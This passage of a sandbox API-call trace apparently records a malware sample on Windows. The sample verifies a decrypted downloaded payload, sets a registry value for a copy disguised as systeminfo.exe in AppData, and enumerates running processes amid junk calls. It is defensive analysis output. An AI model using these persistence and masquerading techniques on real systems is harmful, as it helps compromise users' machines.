0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.975] GetLastError () returned 0x0 [0139.976] GetLastError () returned 0x0 [0139.976] GetLastError () returned 0x0 [0139.976] GetLastError () returned 0x0 [0139.976] GetLastError () returned 0x0 [0139.976] GetLastError () returned 0x0 [0139.976] GetLastError () returned 0x0 [0139.976] GetLastError () returned 0x0 [0139.976] GetLastError () returned 0x0 [0139.976] GetLastError () returned 0x0 [0139.976] GetLastError () returned 0x0 [0139.976] GetLastError () returned 0x0 [0139.976] GetLastError () returned 0x0 [0139.976] GetLastError () returned 0x0 [0139.976] GetLastError () returned 0x0 [0139.976] GetLastError () returned 0x0 [0139.977] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000005, lpBuffer=0x246f860, lpdwBufferLength=0x246f868, lpdwIndex=0x0 | out: lpBuffer=0x246f860*, lpdwBufferLength=0x246f868*=0x4, lpdwIndex=0x0) returned 1 [0139.977] GetCurrentProcess () returned 0xffffffff [0139.977] GetLastError () returned 0x0 [0139.977] wsprintfA (in: param_1=0x246f7cf, param_2="%X%P" | out: param_1="33121P") returned 6 [0139.977] SetLastError (dwErrCode=0x0) [0139.977] GetCurrentProcessId () returned 0x79c [0139.977] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x5178a0, dwNumberOfBytesToRead=0x94, lpdwNumberOfBytesRead=0x246f864 | out: lpBuffer=0x5178a0*, lpdwNumberOfBytesRead=0x246f864*=0x94) returned 1 [0139.977] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x517934, dwNumberOfBytesToRead=0x0, lpdwNumberOfBytesRead=0x246f864 | out: lpBuffer=0x517934*, lpdwNumberOfBytesRead=0x246f864*=0x0) returned 1 [0139.977] GetLastError () returned 0x0 [0139.977] wsprintfA (in: param_1=0x246f7c7, param_2="%X%P" | out: param_1="33122P") returned 6 [0139.977] SetLastError (dwErrCode=0x0) [0139.977] GetCurrentProcessId () returned 0x79c [0139.977] GetCurrentProcessId () returned 0x79c [0139.977] GetCurrentProcessId () returned 0x79c [0139.977] GetCurrentProcessId () returned 0x79c [0139.977] CryptDuplicateHash (in: hHash=0x4e6e68, pdwReserved=0x0, dwFlags=0x0, phHash=0x246f868 | out: phHash=0x246f868) returned 1 [0139.977] CryptDecrypt (in: hKey=0x4e6b98, hHash=0x4f3878, Final=1, dwFlags=0x0, pbData=0x4f52e0, pdwDataLen=0x246f934 | out: pbData=0x4f52e0, pdwDataLen=0x246f934) returned 1 [0139.977] CryptVerifySignatureW (hHash=0x4f3878, pbSignature=0x5178a0, dwSigLen=0x60, hPubKey=0x4e6a40, szDescription=0x0, dwFlags=0x0) returned 1 [0139.977] CryptDestroyHash (hHash=0x4f3878) returned 1 [0139.977] lstrlenA (lpString="just string") returned 11 [0139.977] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0139.977] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0139.977] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0139.977] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0139.978] RegSetValueExW (in: hKey=0x394, lpValueName="systeminfo", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"", cbData=0x86 | out: lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"") returned 0x0 [0139.978] RegCloseKey (hKey=0x394) returned 0x0 [0139.978] GetLastError () returned 0x0 [0139.978] wsprintfA (in: param_1=0x246f6a7, param_2="%X%P" | out: param_1="365E8P") returned 6 [0139.978] SetLastError (dwErrCode=0x0) [0139.978] GetCurrentProcessId () returned 0x79c [0140.318] GetTickCount () returned 0x8fc0 [0140.319] GetCurrentProcessId () returned 0x79c [0140.319] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x246f730, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe")) returned 0x40 [0140.319] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe") returned 64 [0140.319] GetCurrentProcessId () returned 0x79c [0140.319] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x394 [0140.320] GetCurrentProcessId () returned 0x79c [0140.320] Process32FirstW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0140.320] lstrlenA (lpString="just string") returned 11 [0140.320] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0140.320] GetLastError () returned 0x0 [0140.320] GetCurrentProcessId () returned 0x79c [0140.321] lstrcpyW (in: lpString1=0x52a71c, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0140.321] GetLastError () returned 0x0 [0140.321] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0140.321] GetCurrentProcess () returned 0xffffffff [0140.321] GetLastError () returned 0x0 [0140.321] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="3662DP") returned 6 [0140.321] SetLastError (dwErrCode=0x0) [0140.321] GetCurrentProcessId () returned 0x79c [0140.321] GetLastError () returned 0x0 [0140.321] wsprintfA (in: param_1=0x246f453, param_2="%X%P" | out: param_1="3662EP") returned 6 [0140.321] SetLastError (dwErrCode=0x0) [0140.321] GetCurrentProcessId () returned 0x79c [0140.321] GetCurrentProcessId () returned 0x79c [0140.321] GetCurrentProcessId () returned 0x79c [0140.321] lstrcpyW (in: lpString1=0x52a944, lpString2="System" | out: lpString1="System") returned="System" [0140.321] GetCurrentProcessId () returned 0x79c [0140.321] GetCurrentProcessId () returned 0x79c [0140.321] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0140.322] lstrlenA (lpString="just string") returned 11 [0140.322] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0140.322] GetLastError () returned 0x0 [0140.322] GetCurrentProcessId () returned 0x79c [0140.322] lstrcpyW (in: lpString1=0x52ab6c, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0140.322] GetCurrentProcessId () returned 0x79c [0140.322] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0140.322] lstrlenA (lpString="just string") returned 11 [0140.322] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0140.322] GetLastError () returned 0x0 [0140.322] GetCurrentProcessId () returned 0x79c [0140.322] lstrcpyW (in: lpString1=0x52ad94, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0140.322] GetLastError () returned 0x0 [0140.322] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0140.323] GetCurrentProcess () returned 0xffffffff [0140.323] GetLastError () returned 0x0 [0140.323] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="36673P") returned 6 [0140.323] SetLastError (dwErrCode=0x0) [0140.323] GetCurrentProcessId () returned 0x79c [0140.323] GetLastError () returned 0x0 [0140.323] wsprintfA (in: param_1=0x246f453, param_2="%X%P" | out: param_1="36674P") returned 6 [0140.323] SetLastError (dwErrCode=0x0) [0140.323] GetCurrentProcessId () returned 0x79c [0140.323] GetCurrentProcessId () returned 0x79c [0140.323] GetCurrentProcessId () returned 0x79c [0140.323] lstrcpyW (in: lpString1=0x52afbc, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0140.323] GetCurrentProcessId () returned 0x79c [0140.323] GetCurrentProcessId () returned 0x79c [0140.323] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0140.323] lstrlenA (lpString="just string") returned 11 [0140.323] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0140.323] GetLastError () returned 0x0 [0140.323] GetCurrentProcessId () returned 0x79c [0140.323] GetLastError () returned 0x0 [0140.323] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="3669CP") returned 6 [0140.323] SetLastError (dwErrCode=0x0) [0140.323] GetCurrentProcessId () returned 0x79c [0140.323] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0140.324] GetCurrentProcessId () returned 0x79c [0140.324] GetCurrentProcessId () returned 0x79c [0140.324] GetCurrentProcessId () returned 0x79c [0140.324] GetCurrentProcessId () returned 0x79c [0140.324] lstrcpyW (in: lpString1=0x52b1e4, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0140.324] lstrlenA (lpString="just string") returned 11 [0140.324] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0140.324] GetLastError () returned 0x0 [0140.324] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0140.324] GetCurrentProcessId () returned 0x79c [0140.324] GetCurrentProcessId () returned 0x79c [0140.324] GetCurrentProcessId () returned 0x79c [0140.324] lstrcpyW (in: lpString1=0x52b40c, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0140.324] GetCurrentProcessId () returned 0x79c [0140.324] lstrlenA (lpString="just string") returned 11 [0140.324] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0140.324] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0140.325] GetLastError () returned 0x0 [0140.325] GetCurrentProcessId () returned 0x79c [0140.325] lstrcpyW (in: lpString1=0x52b634, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0140.325] GetCurrentProcessId () returned 0x79c [0140.325] GetCurrentProcessId () returned 0x79c [0140.325] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0140.325] GetCurrentProcessId () returned 0x79c [0140.325] lstrlenA (lpString="just string") returned 11 [0140.325] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0140.325] GetCurrentProcessId () returned 0x79c [0140.325] GetLastError () returned 0x0 [0140.325] lstrcpyW (in: lpString1=0x52b85c, lpString2="lsm.exe" | out: lpString1="lsm.exe") returned="lsm.exe" [0140.325] GetLastError () returned 0x0 [0140.325] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.326] GetCurrentProcess () returned 0xffffffff [0140.326] GetLastError () returned 0x0 [0140.326] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="36731P") returned 6 [0140.326] SetLastError (dwErrCode=0x0) [0140.326] GetCurrentProcessId () returned 0x79c [0140.326] GetLastError () returned 0x0 [0140.326] wsprintfA (in: param_1=0x246f453, param_2="%X%P" | out: param_1="36732P") returned 6 [0140.326] SetLastError (dwErrCode=0x0) [0140.326] GetCurrentProcessId () returned 0x79c [0140.326] GetCurrentProcessId () returned 0x79c [0140.326] GetCurrentProcessId () returned 0x79c [0140.326] lstrcpyW (in: lpString1=0x52ba84, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0140.326] GetCurrentProcessId () returned 0x79c [0140.326] GetCurrentProcessId () returned 0x79c [0140.326] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.326] lstrlenA (lpString="just string") returned 11 [0140.326] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0140.326] GetLastError () returned 0x0 [0140.326] GetCurrentProcessId () returned 0x79c [0140.327] lstrlenA (lpString="just string") returned 11 [0140.327] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0140.327] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.327] GetLastError () returned 0x0 [0140.327] GetCurrentProcessId () returned 0x79c [0140.327] GetLastError () returned 0x0 [0140.327] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.327] GetLastError () returned 0x0 [0140.327] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="36778P") returned 6 [0140.327] SetLastError (dwErrCode=0x0) [0140.327] GetCurrentProcessId () returned 0x79c [0140.327] GetCurrentProcessId () returned 0x79c [0140.327] GetCurrentProcessId () returned 0x79c [0140.327] GetCurrentProcessId () returned 0x79c [0140.327] GetCurrentProcessId () returned 0x79c [0140.327] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.328] lstrlenA (lpString="just string") returned 11 [0140.328] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0140.328] GetLastError () returned 0x0 [0140.328] GetCurrentProcessId () returned 0x79c [0140.328] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0140.328] GetLastError () returned 0x0 [0140.328] lstrcpyW (in: lpString1=0x52bcac, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0140.328] GetCurrentProcessId () returned 0x79c [0140.328] GetCurrentProcessId () returned 0x79c [0140.328] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.329] GetCurrentProcessId () returned 0x79c [0140.329] lstrlenA (lpString="just string") returned 11 [0140.329] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0140.329] GetCurrentProcessId () returned 0x79c [0140.329] GetLastError () returned 0x0 [0140.329] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.329] GetCurrentProcessId () returned 0x79c [0140.329] GetLastError () returned 0x0 [0140.329] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0140.330] GetCurrentProcess () returned 0xffffffff [0140.330] GetLastError () returned 0x0 [0140.330] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="367F9P") returned 6 [0140.330] SetLastError (dwErrCode=0x0) [0140.330] GetCurrentProcessId () returned 0x79c [0140.330] GetLastError () returned 0x0 [0140.330] wsprintfA (in: param_1=0x246f453, param_2="%X%P" | out: param_1="367FAP") returned 6 [0140.330] SetLastError (dwErrCode=0x0) [0140.330] GetCurrentProcessId () returned 0x79c [0140.330] GetCurrentProcessId () returned 0x79c [0140.330] GetCurrentProcessId () returned 0x79c [0140.330] lstrcpyW (in: lpString1=0x52bed4, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0140.330] GetCurrentProcessId () returned 0x79c [0140.330] GetCurrentProcessId () returned 0x79c [0140.330] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0140.330] lstrlenA (lpString="just string") returned 11 [0140.330] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0140.330] GetLastError () returned 0x0 [0140.330] GetCurrentProcessId () returned 0x79c [0140.330] lstrlenA (lpString="just string") returned 11 [0140.330] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0140.330] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0140.331] GetLastError () returned 0x0 [0140.331] GetCurrentProcessId () returned 0x79c [0140.331] GetCurrentProcessId () returned 0x79c [0140.331] lstrcpyW (in: lpString1=0x52c0fc, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe" [0140.331] GetCurrentProcessId () returned 0x79c [0140.331] GetCurrentProcessId () returned 0x79c [0140.331] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0140.331] lstrlenA (lpString="just string") returned 11 [0140.331] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0140.331] GetLastError () returned 0x0 [0140.331] GetCurrentProcessId () returned 0x79c [0140.331] lstrcpyW (in: lpString1=0x52c324, lpString2="userinit.exe" | out: lpString1="userinit.exe") returned="userinit.exe" [0140.331] GetCurrentProcessId () returned 0x79c [0140.331] GetCurrentProcessId () returned 0x79c [0140.331] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x34c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0140.332] lstrlenA (lpString="just string") returned 11 [0140.332] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0140.332] GetLastError () returned 0x0 [0140.332] GetCurrentProcessId () returned 0x79c [0140.332] lstrcpyW (in: lpString1=0x52c54c, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0140.332] GetLastError () returned 0x0 [0140.332] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0140.332] GetCurrentProcess () returned 0xffffffff [0140.332] GetLastError () returned 0x0 [0140.332] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="3688FP") returned 6 [0140.332] SetLastError (dwErrCode=0x0) [0140.332] GetCurrentProcessId () returned 0x79c [0140.332] GetLastError () returned 0x0 [0140.332] wsprintfA (in: param_1=0x246f453, param_2="%X%P" | out: param_1="36890P") returned 6 [0140.332] SetLastError (dwErrCode=0x0) [0140.332] GetCurrentProcessId () returned 0x79c [0140.332] GetCurrentProcessId () returned 0x79c [0140.332] GetCurrentProcessId () returned 0x79c [0140.333] lstrcpyW (in: lpString1=0x52c774, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0140.333] GetCurrentProcessId () returned 0x79c [0140.333] GetCurrentProcessId () returned 0x79c [0140.333] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x4d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0140.333] lstrlenA (lpString="just string") returned 11 [0140.333] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0140.333] GetLastError () returned 0x0 [0140.333] GetCurrentProcessId () returned 0x79c [0140.333] lstrcpyW (in: lpString1=0x52cb14, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0140.333] GetLastError () returned 0x0 [0140.333] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0140.333] GetLastError () returned 0x0 [0140.333] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="368CCP") returned 6 [0140.333] SetLastError (dwErrCode=0x0) [0140.334] GetCurrentProcessId () returned 0x79c [0140.334] GetCurrentProcessId () returned 0x79c [0140.334] GetCurrentProcessId () returned 0x79c [0140.334] GetCurrentProcessId () returned 0x79c [0140.334] lstrcpyW (in: lpString1=0x52cd3c, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0140.334] GetCurrentProcessId () returned 0x79c [0140.334] lstrlenA (lpString="just string") returned 11 [0140.334] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0140.334] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ONENOTEM.EXE")) returned 1 [0140.334] GetLastError () returned 0x0 [0140.334] GetCurrentProcessId () returned 0x79c [0140.334] lstrlenA (lpString="just string") returned 11 [0140.334] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0140.334] lstrcpyW (in: lpString1=0x52cf64, lpString2="ONENOTEM.EXE" | out: lpString1="ONENOTEM.EXE") returned="ONENOTEM.EXE" [0140.334] GetLastError () returned 0x0 [0140.334] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x5e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0140.335] GetCurrentProcess () returned 0xffffffff [0140.335] GetLastError () returned 0x0 [0140.335] wsprintfA (in: param_1=0x246f453, param_2="%X%P" | out: param_1="36957P") returned 6 [0140.335] SetLastError (dwErrCode=0x0) [0140.335] GetCurrentProcessId () returned 0x79c [0140.335] GetCurrentProcessId () returned 0x79c [0140.335] GetLastError () returned 0x0 [0140.335] wsprintfA (in: param_1=0x246f443, param_2="%X%P" | out: param_1="36958P") returned 6 [0140.335] SetLastError (dwErrCode=0x0) [0140.335] GetCurrentProcessId () returned 0x79c [0140.335] lstrcpyW (in: lpString1=0x52d18c, lpString2="reader_sl.exe" | out: lpString1="reader_sl.exe") returned="reader_sl.exe" [0140.335] GetCurrentProcessId () returned 0x79c [0140.335] GetCurrentProcessId () returned 0x79c [0140.335] Process32NextW (in: hSnapshot=0x394, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="systeminfo.exe")) returned 1 [0140.335] GetCurrentProcessId () returned 0x79c [0140.335] lstrlenA (lpString="just string") returned 11 [0140.335] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0140.335] GetCurrentProcessId () returned 0x79c [0140.335] GetLastError () returned 0x0 [0140.335] lstrcpyW (in: lpString1=0x52d3b4, 